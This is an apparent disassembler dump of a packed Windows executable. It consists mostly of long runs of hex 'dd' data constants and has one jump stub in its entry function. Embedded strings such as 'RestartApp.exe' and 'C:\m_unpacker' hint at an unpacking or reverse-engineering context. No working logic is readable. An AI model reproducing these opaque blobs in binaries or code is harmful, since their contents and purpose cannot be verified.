		dd 844DB93Dh, 43E796D2h, 1E3E808Ch, 8F0BC5h, 0BA375376h
		dd 9802C02Ch, 8E464569h, 0C6EF4007h, 1E710E43h,	0EFA3134Bh
		dd 41487396h, 9CED2260h, 81294044h, 372E6789h, 0B400C38Eh
		dd 1A7C27D2h, 0A4209458h, 0F9F10055h, 4519F487h, 0F84528BCh
		dd 0E004EC16h, 34E207C9h, 30DCB40Fh, 0C28AE860h, 92006EFDh
		dd 742449C8h, 0C1F6F461h, 5E475438h, 9B8020D1h,	772A4B0Ch
		dd 0A0C49908h, 4F5D38ECh, 61AC20FFh, 0A800ACB7h, 9BF26783h
		dd 3995D935h, 1204DD53h, 0C13D735Ch, 7923E24Ch,	0CEEB4008h
		dd 0F6C94100h, 0B6014DEBh, 0A30C03FEh, 51088DF8h, 84884590h
		dd 4CF0D800h, 3340EB69h, 0E92C63A0h, 86F05B91h,	0B8003EFAh
		dd 0EF98751Bh, 26126C0Eh, 28546BF9h, 2D960BB0h,	2800A98Dh
		dd 6007D03Eh, 0D818C13Bh, 455801Ch, 504841h, 9D26C4D1h
		dd 5DFDD681h, 85A0FB00h, 2BAFAB40h, 0BC8024F2h,	67598024h
		dd 0E25A1C74h, 47233D11h, 6EF01Ch, 0B2EDEA50h, 0F93CEE9Ch
		dd 5F5800E9h, 31BF9F9Dh, 43275BE8h, 0F3930ED8h,	86DD7FE0h
		dd 79591F00h, 204CFDDAh, 1B640009h, 5AB8D94Eh, 0E0906378h
		dd 0A7F02645h, 30A348E9h, 0D602CB38h, 743976F3h, 1F00DCC4h
		dd 661DAFBBh, 0E6CEC5h,	879291F0h, 0B48D26F3h, 135D1F02h
		dd 0A094EF7Eh, 9DCF616Ch, 0B83DEE17h, 7362094Ch, 0B8C9A038h
		dd 8489E490h, 0C25DF700h, 0BCB736D4h, 23E001E8h, 0EDDB1940h
		dd 186227h, 68D5A9AEh, 165A754h, 0EFF68F52h, 0AF197095h
		dd 7FE81020h, 32100015h, 700E1C60h, 3D00DDEDh, 8842D9EAh
		dd 7F53A61Ah, 59875C36h, 80E0E029h, 5283DD74h, 350010FCh
		dd 1B321415h, 4B34944Fh, 0D2F0C009h, 38266016h,	0DD126C06h
		dd 0FDA888h, 6C40A50Dh,	1B4B8569h, 61986CC7h, 0C19B1CC0h
		dd 0AA8F0019h, 32E46AFEh, 0D90B1D9Ch, 8A8216h, 0A6F6B71Ch
		dd 0EEC0F82Bh, 0B1DB2E49h, 5A6300C4h, 6081D5F0h, 73ACC70Ah
		dd 1581CC84h, 7FF96CDCh, 0E7F8AE61h, 0C375F65Fh, 0F677BFA8h
		dd 0E080D900h, 0C226FF38h, 45EA032Fh, 0D8411B40h, 5E2A32C8h
		dd 8580689Eh, 0A45C43B1h, 0A12C723Fh, 0FC606DDCh, 20FB5E89h
		dd 0FC8E48Ch, 0A40A7303h, 0E7BADD69h, 59AC0149h, 4789C15h
		dd 0EAF55BC0h, 0C70FBEBh, 0FD9BD000h, 0CDE463E6h, 0A5E70B85h
		dd 781027F1h, 3500168Fh, 6FB9B172h, 248B9F88h, 3824C7h
		dd 9E1CC873h, 50BD33CBh, 3B4B046Fh, 0C1C45F28h,	0E5C82276h
		dd 58C032A5h, 0C0C45C38h, 5517B51Dh, 6BF000ADh,	584FCF89h
		dd 0B8094766h, 513F21E1h, 2E9F8718h, 0FA56D0E2h, 5C3D59AFh
		dd 0F84C055Ah, 84401AD5h, 626CCA9Bh, 16E800C6h,	4106C1E7h
		dd 0B5B81DD0h, 15215F00h, 1CF4754Eh, 0D0D74A27h, 0BFA93FE8h
		dd 0EC03297Fh, 3717F550h, 0E3ADB0CFh, 164D0031h, 0DA73F95Dh
		dd 7C9CA64Bh, 8534087h,	37CA4210h, 6EA119BEh, 804BB4EEh
		dd 57A94DA0h, 2EB53DF3h, 2479FE11h, 67CE00B4h, 4026F991h
		dd 81FFD303h, 0BD3788ABh
		dd 24F334CCh, 5479233h,	882723FEh, 7800354Ch, 0B8B6DBD1h
		dd 1FFFBBFh, 5FE9EC06h,	2920A00Ch, 8421005Ch, 364DB880h
		dd 2A500D7h, 0BB88E101h, 0CE5973A0h, 5543BE0h, 4A142687h
		dd 0E43EE80Bh, 9CE70074h, 600F4190h, 0E1171DD1h, 94483476h
		dd 0A03F8608h, 0EE703129h, 42913C09h, 0D307816Ch, 0A360E536h
		dd 1205B4Bh, 3BEECD60h,	245C22D8h, 76008E73h, 8C08DEF5h
		dd 7B96258Fh, 3EAC8810h, 620F6C13h, 4EFCAC89h, 0BE420E9Eh
		dd 9FE0ACC0h, 563AC9D0h, 0A1AF3812h, 0ADA81890h, 5CE800E0h
		dd 3930F2BAh, 10056E6Fh, 8E9E20DDh, 842C50E1h, 358C4683h
		dd 4D077490h, 3640DCB4h, 58F8C48Dh, 910FCC0Eh, 0C932EF50h
		dd 70D0ED48h, 0E8892A9Ch, 1580D83Ch, 0C3A86450h, 68FAB124h
		dd 92745D39h, 5D292804h, 2027D4BDh, 7BE74848h, 12054600h
		dd 0A6D61AE6h, 0B9F2CF2h, 8FE800B8h, 1F2A5FA9h,	3B7E3378h
		dd 3D24CE02h, 52A64A58h, 742704A4h, 0E844EFE4h,	6D38C0A4h
		dd 503381h, 0EFA98C32h,	0C77AEB5Dh, 1E6E5314h, 0A2DB0BD4h
		dd 0C98009E3h, 2DECE7ECh, 5C23B09Eh, 7603C4B0h,	0E43B91AEh
		dd 606036AAh, 7090821Fh, 33D7C70Fh, 0A06CA499h,	0B01928A4h
		dd 0ECF0075h, 9218B5D2h, 0FC00CA3Eh, 0D07EEA60h, 28D573FDh
		dd 460A74Bh, 10990B28h,	244F886h, 0DE397522h, 40185C59h
		dd 85079C45h, 0D6D57604h, 64801B17h, 13424BDBh,	7038FE6h
		dd 1B718ED3h, 9E4A010h,	6AE6AD60h, 6B94B6h, 52D10FDh, 0DEB010Ah
		dd 0EEF77B0Fh, 0E1804460h, 9E1174C0h, 204F0079h, 7D27765Ah
		dd 0C909F22Fh, 0F9772988h, 73698158h, 0FE595AC2h, 0F2FE54A0h
		dd 7E003777h, 0A97133ACh, 19D8CE9Bh, 384BFFF9h,	2630206Bh
		dd 13B0D52Fh, 0F51FD8D0h, 44E0008Eh, 0A837E8A1h, 96008994h
		dd 0FF873ED1h, 48814282h, 400E8D8h, 83D39C25h, 53087D89h
		dd 8426461Ah, 8CD72235h, 0AA1C3E90h, 0A6402C76h, 7C8566CFh
		dd 0FC3A13B2h, 782490D5h, 0FA001FCEh, 0BE6998Ah, 0B0BFE886h
		dd 3D2D026Dh, 2803C270h, 0AB00A466h, 69EC81D2h,	533387h
		dd 29C0CB67h, 507D960Bh, 730C0E16h, 0C2B480D0h,	600A0068h
		dd 43E439E1h, 0B00019EBh, 5ACA0607h, 5CBB553Dh,	1C4D2CE7h
		dd 7AD73082h, 0FC75A060h, 0C441D225h, 76C40544h, 87B8124Ah
		dd 4EA30EDh, 161EAF0Eh,	0C5D5AB5h, 0E088B0CFh, 1D427F69h
		dd 4AE803E3h, 3D5E109h,	0C592C900h, 91A9879Fh, 0DC30ED2Bh
		dd 0BCA719Eh, 79E548DBh, 0C1144480h, 0D202B712h, 0A0496ED0h
		dd 13D4703Fh, 0B474337Bh, 10015858h, 5CF84AD7h,	0F6E06A2Bh
		dd 55011E6Dh, 0EA5AC031h, 27759B4h, 9E39520Fh, 6EEF61E7h
		dd 0FCE0DC76h, 8084B4D8h, 79AEA31Fh, 80B860C2h,	32D0881Ch
		dd 9C704BD2h, 23ACD14h,	0E3365999h, 5CC1A845h, 8EF21184h
		dd 64800C28h, 0D9DDF5CCh, 2850909Fh, 0A0AB001Bh, 0DB047FCFh
		dd 39010C94h, 0A5EEE873h, 2DE8352Ch, 18009751h,	933AB7EFh
		dd 421AC913h, 0D60214E2h, 0EF98E4CAh, 0AA0BD8C0h, 445BC648h
		dd 411D0868h, 0FD528497h, 3CEA68C8h, 4E002F7Fh,	0AD478103h
		dd 5801FF22h, 0EBF78DA0h, 3430AA56h, 0CABE16D8h, 0B908D072h
		dd 0C600CDD3h, 5F795BA6h, 7AAD7EF3h, 0BC370101h, 932160FFh
		dd 764050ECh, 0A23B797Bh, 480043F9h, 11305F63h,	0A600833Ah
		dd 87F78829h, 1F523F56h, 565DBB69h, 202488F9h, 0F7488000h
		dd 68300BA9h, 90D109D2h, 4485AF1Dh, 48E2E3h, 5CB7E551h
		dd 1265CAF6h, 284EE2BAh, 6F04CF70h, 0D82A2987h,	46D88Ch
		dd 883A8E10h, 24189D5Fh, 0A2E95A16h, 0CFDBF8A5h, 1A7CDB51h
		dd 7BFC5121h, 743B25C4h, 785734E8h, 5C009C7Ch, 0A51E3ECAh
		dd 418D24h, 9B213A07h, 2BA1EF9Fh, 8A4051DEh, 804A71B7h
		dd 0A37E0012h, 27F2E420h, 0EE055B53h, 0C688EF99h, 73445C00h
		dd 428BD7Dh, 9D4BD022h,	0E31807E0h, 50C0BE74h, 0FC623Bh
		dd 0DC9E2E5Dh, 2A3A15E9h, 0DF297860h, 0B512EC1Ah, 0A80B2814h
		dd 995F28D1h, 71E1D43Ch, 16581040h, 81431601h, 30C589h
		dd 0A90B3310h, 0B0B8BE9Eh, 0F35A0A02h, 0C6AE01BBh, 0F5A1026Ch
		dd 0D9202D81h, 44241C7Ch, 59C8809h, 1D84FEDBh, 448A4h
		dd 30AFBBB6h, 931BD048h, 13A3301h, 3CC1F05Ah, 0D381EC3Ch
		dd 0D87DC520h, 0AB000998h, 288752C0h, 269FCF75h, 21424CAh
		dd 263F1936h, 381F10D1h, 161E4418h, 884A4FAEh, 0CA0530F4h
		dd 0E46EBD56h, 0A8338B8h, 16A85446h, 4E012A8Dh,	63617512h
		dd 7CDC3A0Ch, 0DFA22AADh, 2302004Ch, 20EECED7h,	0A42E2858h
		dd 141140F2h, 0C601F000h, 934A77C4h, 182B8934h,	8C8060B8h
		dd 0E5F3A5F9h, 0E1ED609h, 0F2DE0180h, 7DED216Ah, 0E61D5C63h
		dd 0F4788732h, 779F70A6h, 7E00823Dh, 5EDC6AD6h,	0BED72C9Ch
		dd 321F80C0h, 0C24EE09Ah, 6F101B00h, 0D1DCF38Ch, 1E533A59h
		dd 81BCA4h, 0C09FD28Eh,	0B5905AE2h, 5B131900h, 558BF1EFh
		dd 0F8489840h, 0A45D5005h, 0B12F4E6h, 8339258Dh, 0D404380Bh
		dd 73354214h, 0B5812009h, 0C49AE9FCh, 3988A707h, 0F1252687h
		dd 0CE01C4A2h, 51364E0Bh, 0B9B3E098h, 0C26FF200h, 5ED43110h
		dd 0BA8800DCh, 50187EC1h, 2758F4E4h, 803E9F4Ch,	0FA9D9849h
		dd 25FF3B6Dh, 0D810861Bh, 0F85C0B35h, 0D98200C2h, 0A86DB772h
		dd 60917A1h, 0E4DC8540h, 0D11211B8h, 0E7003EBBh, 0A84D5D2Ch
		dd 0A6E93AACh, 7A423A04h, 0C204B8C4h, 0C1ECD54Fh, 5C30D8A9h
		dd 2B9944EFh, 1980F891h, 60AF4335h, 45EE0F73h, 0DD07629Fh
		dd 87D1A002h, 3F1C3DBBh, 0FA562A38h, 0ABCE8801h, 0AC6073D7h
		dd 7679059Ah, 79B4A32h,	11C8603Ch, 28B2B750h, 2949440h
		dd 0B58D85FBh, 6505F849h, 2967E88h, 5F04FDCh, 0E6E2C08Eh
		dd 0EC8A9A97h, 30A800A5h, 52AEFC38h, 25E43100h,	64B2CC6Ch
		dd 29BF68Eh, 0DDF721BFh, 3C7C2394h, 2E929680h, 0FF515Ch
		dd 62902898h, 0F4EA8960h, 10882601h, 0A07FF701h, 30019039h
		dd 12E96AF9h, 64F0EB87h, 0EF26C16Dh, 0C4022533h, 4057166Bh
		dd 7B86C6E0h, 7081F4BAh, 0D7C8C3B8h, 0A3A0E329h, 0B0BCFEEh
		dd 0C43FF1C1h, 0B2F81D98h, 89C3440Ch, 0D6C0C00Eh, 0C798F939h
		dd 4A580B0Bh, 13D45292h, 0E3BA83Fh, 3E4041Ch, 8D74E4D8h
		dd 8F73F500h, 0DCAA7856h, 0BF7400A0h, 0BA0FADB1h, 4738D326h
		dd 4A5187A2h, 8B393042h, 4845C8h, 6590139Bh, 1C024F6Ch
		dd 2BCA48ABh, 0A34788Fh, 0A74A593Dh, 2A344148h,	0C8D9E25Dh
		dd 0EFEC6785h, 0D8A600BBh, 29FBA849h, 4088275Bh, 7B72A6h
		dd 0C43FB615h, 3929BCC5h, 7DD06802h, 4086E3E1h,	1425DF4h
		dd 0D128F3DCh, 6BADFEC4h, 608EA020h, 0A2650733h, 0C0C115F8h
		dd 88CF2ACAh, 0F30E597Fh, 0E0473401h, 41F14BABh, 6B22FE49h
		dd 0EC1998FAh, 0AE13EC6Eh, 98A88704h, 58C827EDh, 69530004h
		dd 513C8A9Dh, 3900248Bh, 91A44243h, 0F6E5AA61h,	802C9140h
		dd 21CFD58Bh, 0B81D1EECh, 0A1A8F8BBh, 5BACE201h, 5565D15Fh
		dd 5C71D6h, 207A4FD6h, 0EE04CC02h, 5D4BFC32h, 0B1882490h
		dd 0D5B33EEDh, 0ADACC84Ah, 6200E2FCh, 0EB3E22D0h, 260F69F4h
		dd 137C3756h, 0C07CC953h, 821C33A3h, 11038FD0h,	88876E4Ah
		dd 9084C538h, 0A070974Ch, 0A78010B5h, 22E50081h, 0C55CF117h
		dd 8D009C73h, 85FC1A87h, 5E435046h, 92403025h, 0AA0188D9h
		dd 62BE2389h, 0A032762Ah, 7F59B12h, 0C00CCA80h,	21BAF33Fh
		dd 90524B2Dh
		dd 6A6230h, 0BF44E6AAh,	47405697h, 141B651Dh, 2131A43h
		dd 51B6D8h, 6E3D0111h, 305A4326h, 41365001h, 0F1B62D02h
		dd 43385EEAh, 97D8DAA9h, 0EF25A6AEh, 16B8A287h,	0D0E675h
		dd 0A085B60Ch, 5DE58A72h, 6481F400h, 146BFD11h,	0C8AE0F44h
		dd 7055A60h, 0D314C1ECh, 80443C87h, 0F31B594h, 9E240001h
		dd 99FFF1C8h, 0A14F269Fh, 16B68040h, 53EEE1h, 0E982C8FBh
		dd 8B870EE3h, 48C71A2Eh, 2DE2DA02h, 0DF34E3F6h,	610CD8F7h
		dd 780D00F0h, 9614115h,	0C9005C5h, 0F571D1Fh, 48A04B92h
		dd 4A12009Bh, 0C6395DE4h, 83952338h, 0C803C530h, 5F1549h
		dd 513F0132h, 35600EE9h, 0F577C808h, 0B180382Ah, 48C74933h
		dd 8C007481h, 42D301ABh, 0F615865h, 0EBF871E2h,	0E4FFB5E0h
		dd 59004A36h, 2045936Ah, 951A3D8Ah, 0EB986810h,	4804F258h
		dd 144B26FBh, 0C3C62A62h, 44301134h, 98FF2719h,	26A1B328h
		dd 123D97CDh, 0E4500046h, 2A844D24h, 8E87CCB1h,	0C29228D3h
		dd 2C5AA2h, 0C7B299CFh,	562E6068h, 2E3CE44Ch, 0C300FCB7h
		dd 4DC5441Ch, 3C5A131Bh, 0E4E4C86Dh, 7AE60400h,	0F0D3609Bh
		dd 1B57142h, 59801C11h,	2EEF85D1h, 7C5A3420h, 84AA12F8h
		dd 8608018Bh, 7C82EF0Eh, 589888F0h, 1008230h, 5C56F3BBh
		dd 266A1408h, 12946E03h, 4BFD0051h, 581C542h, 9045E22Fh
		dd 723130h, 0DABEFF46h,	30D2ADF7h, 68233F24h, 0DC646C40h
		dd 2457FD6h, 0E172262Ch, 0EC7E503Dh, 0C276BA40h, 0F07E0379h
		dd 9BCE2493h, 919DA825h, 6B0C99FCh, 29CC010Fh, 0C283852Ch
		dd 0E49034B8h, 1251AD80h, 89ED825h, 438C3881h, 0EDC4EF89h
		dd 335439A6h, 0D5286101h, 0E019D4BCh, 84D8F9h, 812475A0h
		dd 0A17660DDh, 4C909100h, 0BD0343D0h, 63262746h, 15053044h
		dd 10FAF01Fh, 0D753C4C0h, 983178C6h, 7EA90060h,	1CB18F30h
		dd 8E488623h, 1D396356h, 0E1978882h, 22280441h,	0C8581A42h
		dd 5D00EFBCh, 0B70993D8h, 3D871C18h, 80CF4823h,	0C89C0314h
		dd 9384B5Ch, 0E4F44C22h, 2E690050h, 0F5A5C6EAh,	8095FD6Eh
		dd 0B994B883h, 0F2F00758h, 292A048Ah, 21330011h, 38073BDCh
		dd 0EF420915h, 0F6C7C6Bh, 1932306h, 0D2CC004h, 1087D73h
		dd 8A3E96BBh, 0F4C8FA09h, 0CC2F5C8Dh, 0B6C947C0h, 45F0A777h
		dd 4009AE6h, 21D96044h,	9C1050Dh, 61E850F4h, 0E9E6F444h
		dd 19BADD27h, 0C4797188h, 0E4902007h, 38A140ABh, 0D07F1CDh
		dd 0D673E0D5h, 36308089h, 274A642Fh, 0B84437B1h, 36A1D3Fh
		dd 0D3F5F6FAh, 9755E895h, 515B0A1Bh, 1D46CDEh, 5E6E3A01h
		dd 0D1E07030h, 0E5921917h, 0DD13411Dh, 0C4230892h, 0D7482CBCh
		dd 0FD68004Ch, 0E1B61FF4h, 0CD4E571Fh, 67B71600h, 38C15DCFh
		dd 0B08972EBh, 0C800F634h, 30484329h, 0B21DCA8h, 4FB4Ch
		dd 0E0EE4E01h, 34AE45Dh, 0D5F2AF88h, 2FD2053h, 0B003D3F8h
		dd 5000CCD1h, 0E326C61Ah, 2FF6E4Eh, 8050ACB2h, 204FBA22h
		dd 0FB1F00E5h, 64EFCC49h, 0EC0BD25Dh, 0E4BE355Fh, 0A64500ACh
		dd 4D8482F8h, 3F003C37h, 0EDFF813Bh, 1D1A9576h,	0B022FD26h
		dd 755542F9h, 3CD7963Dh, 4F8B8103h, 72765950h, 2704A260h
		dd 1C90A0B2h, 0E507364Bh, 33698326h, 46BF7070h,	411B0A30h
		dd 0A644D2B4h, 0A88E0B23h, 77F71B00h, 107980Ch,	6790D944h
		dd 655E0F11h, 0C21F5C63h, 0C3FA8102h, 0F045ECA0h, 0B02C264Ah
		dd 3026D9E9h, 3001BF00h, 0EA873FEEh, 0F5C0F9Bh,	0FEE07B31h
		dd 5DBCD9F6h, 0EF62E10Eh, 8F698348h, 0FBAC07Ah,	0B8F603A1h
		dd 78191438h, 0D15086E0h, 0DD338300h, 5EBBB982h, 1B641ED7h
		dd 41A1C054h, 8B867BC5h, 14D0FA00h, 69F97DD4h, 395E30ADh
		dd 0C8A7C429h, 0BFEA4F03h, 1E1E90EEh, 0AD727CAh, 5F01CC53h
		dd 6CFFFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53BC74:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_53EF15
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 71h,	0Bh, 32h
		dd 1Dh,	3 dup(0)
		dd 53DC0100h, 3	dup(0)
		dd 0E7C65700h, 77h, 0E7A13F00h,	77h, 10h dup(0)
		dd 10BC7400h, 0FAh, 0
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 9FA037h, 448BE0FFh, 0E0FF0424h, 13h dup(0)
		dd 57C73900h, 4	dup(0)
		dd 1BC00000h, 200h, 40000000h, 2 dup(0)
		dd 106400h, 2 dup(0)
		dd 9E0A9A00h, 2	dup(0)
		dd 0D1F3FF00h, 5Fh, 0
		dd 9FA00F00h, 592B5500h, 7 dup(0)
		dd 0DD000000h, 9FA00F77h, 19h dup(0)
		dd 62F000h, 0FFFFDE00h,	0FFh, 4	dup(0)
		dd 53D43E00h, 0
		dd 60B000h, 2 dup(0)
		dd 0D800h, 0
		dd 0FE030400h, 7Fh, 0
		dd 58111800h, 0
		dd 9FA00F00h, 0B1F34500h, 0E6000000h, 77h, 7 dup(0)
		dd 0AAFFFF00h, 3Ch, 48F90400h, 22F2h, 53F51B00h, 5 dup(0)
		dd 5B0E8F00h, 0
		dd 22CCFD00h, 0FC098204h, 86EF1F8h, 0Ch, 2 dup(0)
		dd 58031000h, 2	dup(0)
		dd 0FFFFFF00h, 0FFh, 3 dup(0)
		dd 6C2700h, 0Bh	dup(0)
		dd 8D2F00h, 0F5000000h,	77h, 73655200h,	74726174h, 2E707041h
		dd 657865h, 4 dup(0)
		dd 57A6B900h, 6A6000h, 53h, 2 dup(0)
		dd 0FF8C1C00h, 0FFh, 0
		dd 56D3EA00h, 0DD59F000h, 53EE3577h, 2 dup(0)
		dd 9F229200h, 0
		dd 0E82CFC00h, 77h, 2 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0AE386A00h, 5643CCh,	9F949900h, 59298F00h, 13E800h
		dd 2 dup(0)
		dd 56FAC400h, 4	dup(0)
		dd 0A1B13400h, 3 dup(0)
		dd 73E900h, 2 dup(0)
		dd 0E75CB500h, 0FB5E277h, 388Ah, 592BB200h, 4 dup(0)
		dd 9F314500h, 0
		dd 5753BB00h, 3	dup(0)
		dd 0FE90BA00h, 7Fh, 4 dup(0)
		dd 9FFA5600h, 5	dup(0)
		dd 143400h, 0C3CA8C00h,	9F70C43Bh, 5 dup(0)
		dd 7F3F000h, 2 dup(0)
		dd 0E776CD00h, 77h, 0
		dd 12FFF000h, 0
		dd 0BFFFB000h, 2A08001h, 400h, 0A022D800h, 6 dup(0)
		dd 21698B00h, 3Eh, 3 dup(0)
		dd 39DBEE00h, 0FDh, 3Bh	dup(0)
		dd 11F21500h, 93h, 4 dup(0)
		dd 53E48500h, 2	dup(0)
		dd 142B5D00h, 57CBF01Ah, 0E0h, 0FE030400h, 7Fh,	0
		dd 5A3CF000h, 3	dup(0)
		dd offset dword_40E994+16Ch
		dd 9 dup(0)
		dd 0DD5ECC00h, 77h, 0
		dd 5A29EA00h, 24242400h, 24h, 0AC00h, 2	dup(0)
		dd 0FE03A200h, 7Fh, 5 dup(0)
		dd 9F69DD00h, 3	dup(0)
		dd 5AD24400h, 9ED55400h, 9 dup(0)
		dd 5753BB00h, 0
		dd 100h, 8Bh dup(0)
		dd 21212100h, 66821h, 57862F00h, 0Bh dup(0)
		dd 9F70C400h, 4	dup(0)
		dd 5B1B3700h, 2	dup(0)
		dd 0FFFFFB00h, 0FFh, 0
		dd 9F8C6B00h, 2	dup(0)
		dd 0A19BAC00h, 7 dup(0)
		dd 1FCFC00h, 80h, 4 dup(0)
		dd 57A25800h, 2	dup(0)
		dd 263E0300h, 44h, 200h, 0Bh dup(0)
		dd 100000h, 200h, 56C4ED00h, 5 dup(0)
		dd 57ACB700h, 0
		dd 9F53BB00h, 4	dup(0)
		dd 0A940EE00h, 0FFh, 3 dup(0)
		dd 0A800h, 2 dup(0)
		dd 6A060800h, 0FFFFFF00h, 0FFh,	5 dup(0)
		dd 88DC9100h, 7Bh, 0Fh dup(0)
		dd 56D3EA00h, 2	dup(0)
		dd 710800h, 12h	dup(0)
		dd 0B5CC00h, 6 dup(0)
		dd 0E7796300h, 77h, 2 dup(0)
		dd 6E0A6900h, 70h, 4 dup(0)
		dd 2B1E5700h, 40000008h, 2, 5B05AF00h, 0
		dd 5721F200h, 0
		dd 223E800h, 5 dup(0)
		dd 5A2B1500h, 6	dup(0)
		dd 22FE800h, 0FE030400h, 7Fh, 0
		dd 938C8400h, 30h, 0
		dd 7A830000h, 36h, 24h dup(0)
		dd 0F52E0F00h, 77h, 5 dup(0)
		dd 60962300h, 0E793EFFFh, 0AE5FF877h, 57AAC000h, 6 dup(0)
		dd 990A0000h, 0A399956Ah, 57303000h, 5FFFB000h,	1, 0
		dd 0FFA56C00h, 0FFh, 3 dup(0)
		dd 0B6000000h, 0
		dd 12FEF000h, 2	dup(0)
		dd 9759EA00h, 0
		dd 22222200h, 22222222h, 22h, 3	dup(0)
		dd 0FFFFFF00h, 0FFh, 3 dup(0)
		dd 97E900h, 53BCF900h, 6 dup(0)
		dd 12FF6000h, 0
		dd 0FE030400h, 7Fh, 0FFFFFF00h,	7Fh, 2 dup(0)
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 80h dup(0)
		dd 9F8C0A00h, 0
		dd 22200h, 0Ah dup(0)
		dd 486CB800h, 2, 2 dup(0)
		dd 498D8D00h, 0A6h, 5 dup(0)
		dd 55597400h, 3886h, 2 dup(0)
		dd 56F86B00h, 0DCB6AA00h, 6Ch, 3 dup(0)
		dd offset dword_500044+0BCh
		dd 0
		dd 0D153BB00h, 0Fh, 6C2700h, 0
		dd 11111100h, 11h, 2 dup(0)
		dd 56ED9600h, 0
		dd 0FE030400h, 7Fh, 0
		dd 57915000h, 0Ah dup(0)
		dd 572BDE00h, 6	dup(0)
		dd 57002300h, 6	dup(0)
		dd 263E0300h, 44h, 3 dup(0)
		dd 0A023E800h, 3 dup(0)
		dd 0F7F8C900h, 0ECh, 8 dup(0)
		dd 1FCFC00h, 58637980h,	33333300h, 2 dup(33333333h), 0BFEAF033h
		dd 77h,	0
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 0FFFF5000h, 0FFh, 2 dup(0)
		dd 0A000h, 0
		dd 0A063C300h, 0B6h, 2 dup(0)
		dd 5B37EB00h, 0
		dd 0AE386A00h, 0C530DFCCh, 0A9h, 0
		dd 9F69DD00h, 0A3A5E700h, 9F69DD00h, 2 dup(0)
		dd 0A5625300h, 6, 4 dup(0)
		dd 7A8AD400h, 58h, 5 dup(0)
		dd 56D3EA00h, 3	dup(0)
		dd 9F9C3700h, 3	dup(0)
		dd 0A38D5300h, 2 dup(0)
		dd 5B04EF00h, 53D43D00h, 7 dup(0)
		dd 91ECA500h, 7, 4047400h, 57961A05h, 0B41B4000h, 76h
		dd 109C00h, 12FFA400h, 0A01DC800h, 3 dup(0)
		dd 53FD7700h, 0F800h, 7	dup(0)
		dd 0B0D92F00h, 0FEh, 0A7DE6100h, 0FFh, 3 dup(0)
		dd 0F325D800h, 444h, 0
		dd 5A778B00h, 6	dup(0)
		dd 0AFF5CE00h, 0F5h, 2 dup(0)
		dd 9FA03700h, 4	dup(0)
		dd 0D4C96A00h, 77h, 12FF6000h, 6 dup(0)
		dd 3C2B8D00h, 2Fh, 2 dup(0)
		dd 0D4C96A00h, 77h, 0D000h, 3 dup(0)
		dd 4DE00000h, 3	dup(0)
		dd 35B00h, 0
		dd 11F21500h, 93h, 59000000h, 2, 8 dup(0)
		dd 12FFE000h, 2	dup(0)
		dd 0DBCB3B00h, 5300231Dh, 3 dup(0)
		dd 3800h, 57D8B500h, 0Ah dup(0)
		dd 6A6000h, 73FE2053h, 3Bh, 6 dup(0)
		dd 0E6000000h, 77h, 0
		dd 0A7CA500h, 0Ch, 5A78F200h, 0
		dd 0A800h, 5 dup(0)
		dd 5747B100h, 2	dup(0)
		dd 76080800h, 2Ah, 3 dup(0)
		dd 0A6F79D00h, 3Ch, 0A5C68A00h,	0FFh, 13E800h, 7 dup(0)
		dd 0A702B900h, 0ADB1CAFFh, 8C08EB00h, 74D8h, 3DCD1800h
		dd 12FFC401h, 0
		dd 0C2D86C00h, 0CAh, 0
		dd 0F7EBB300h, 0F972377h, 4Ch, 0Bh dup(0)
		dd 12FEF000h, 2	dup(0)
		dd 92815F00h, 0EBA6E992h, 9F69DD77h, 2 dup(0)
		dd 0C530DF00h, 0A9h, 600h, 0B1h	dup(0)
		dd 0E7A83700h, 77h, 0E0005000h,	0FDh, 4	dup(0)
		dd 1D110F00h, 67h, 36363600h, 36h, 0Bh dup(0)
		dd 5A28D500h, 5	dup(0)
		dd 22200h, 0
		dd 20DA3100h, 24h, 6Bh dup(0)
		dd 6C2700h, 1Ch	dup(0)
		dd 12FF5400h, 0Dh dup(0)
		dd 0BF003E00h, 4748EC00h, 6Eh, 9C00h, 2	dup(0)
		dd 100h, 381E5300h, 56D3EAB5h, 59FDDD00h, 0A400h, 4 dup(0)
		dd 6C2700h, 0FE030400h,	0DD23D77Fh, 0A0156077h,	2 dup(0)
		dd 5B000000h, 2, 0Dh dup(0)
		dd 5A565600h, 0
		dd 0FE030400h, 7Fh, 9E000000h, 0E72100h, 5 dup(0)
		dd 0FE030400h, 7Fh, 40EB00h, 3 dup(0)
		dd 0ECF5FD00h, 0AFA1FE5Dh, 0FB5E200h, 8Ah, 0
		dd 0FFA7CC00h, 0E80FFh,	3 dup(0)
		dd 5A3DFD00h, 0E805D800h, 77h, 3900h, 0CA8CA200h, 5882ED19h
		dd 0F5180B00h, 77h, 7 dup(0)
		dd 0B9A08100h, 56ED4EFCh, 9 dup(0)
		dd 5B892C00h, 3	dup(0)
		dd 0FE030400h, 7Fh, 0FFFDFE00h,	0E82160FFh, 77h, 9F8C0A00h
		dd 4 dup(0)
		dd 0FF2BFA00h, 2Dh, 2 dup(0)
		dd 59EEEA00h, 5AC0CA00h, 0
		dd 0FB5E200h, 1572738Ah, 96173795h, 3CD10638h, 95h, 5 dup(0)
		dd 58E38900h, 7	dup(0)
		dd 0FFFFF400h, 77h, 4 dup(0)
		dd 6C2700h, 6 dup(0)
		dd 0E001400h, 0
		dd 53E5B100h, 5A9DAD00h, 0F9h, 3 dup(0)
		dd 5861E900h, 8	dup(0)
		dd 5F95FF00h, 100h, 0D168ED00h,	3, 8 dup(0)
		dd 9F09F700h, 0
		dd 5B1B5B00h, 4	dup(0)
		dd 0A5C38B00h, 1Eh, 2 dup(0)
		dd 0E6D70600h, 0E8279077h, 77h,	53F51B00h, 0A8754E00h
		dd 70FFh, 5 dup(0)
		dd 53DECD00h, 0
		dd 4FFFB000h, 0E8061801h, 0AC1FB377h, 0FFh, 3 dup(0)
		dd 5AD24400h, 4	dup(0)
		dd 59F0C700h, 4	dup(0)
		dd 5A6A1000h, 9F2BDE00h, 0
		dd 0D153BB00h, 0Fh, 4 dup(0)
		dd 23431500h, 551B58DCh, 0FFh, 0FF264100h, 9F5E2EFFh, 5	dup(0)
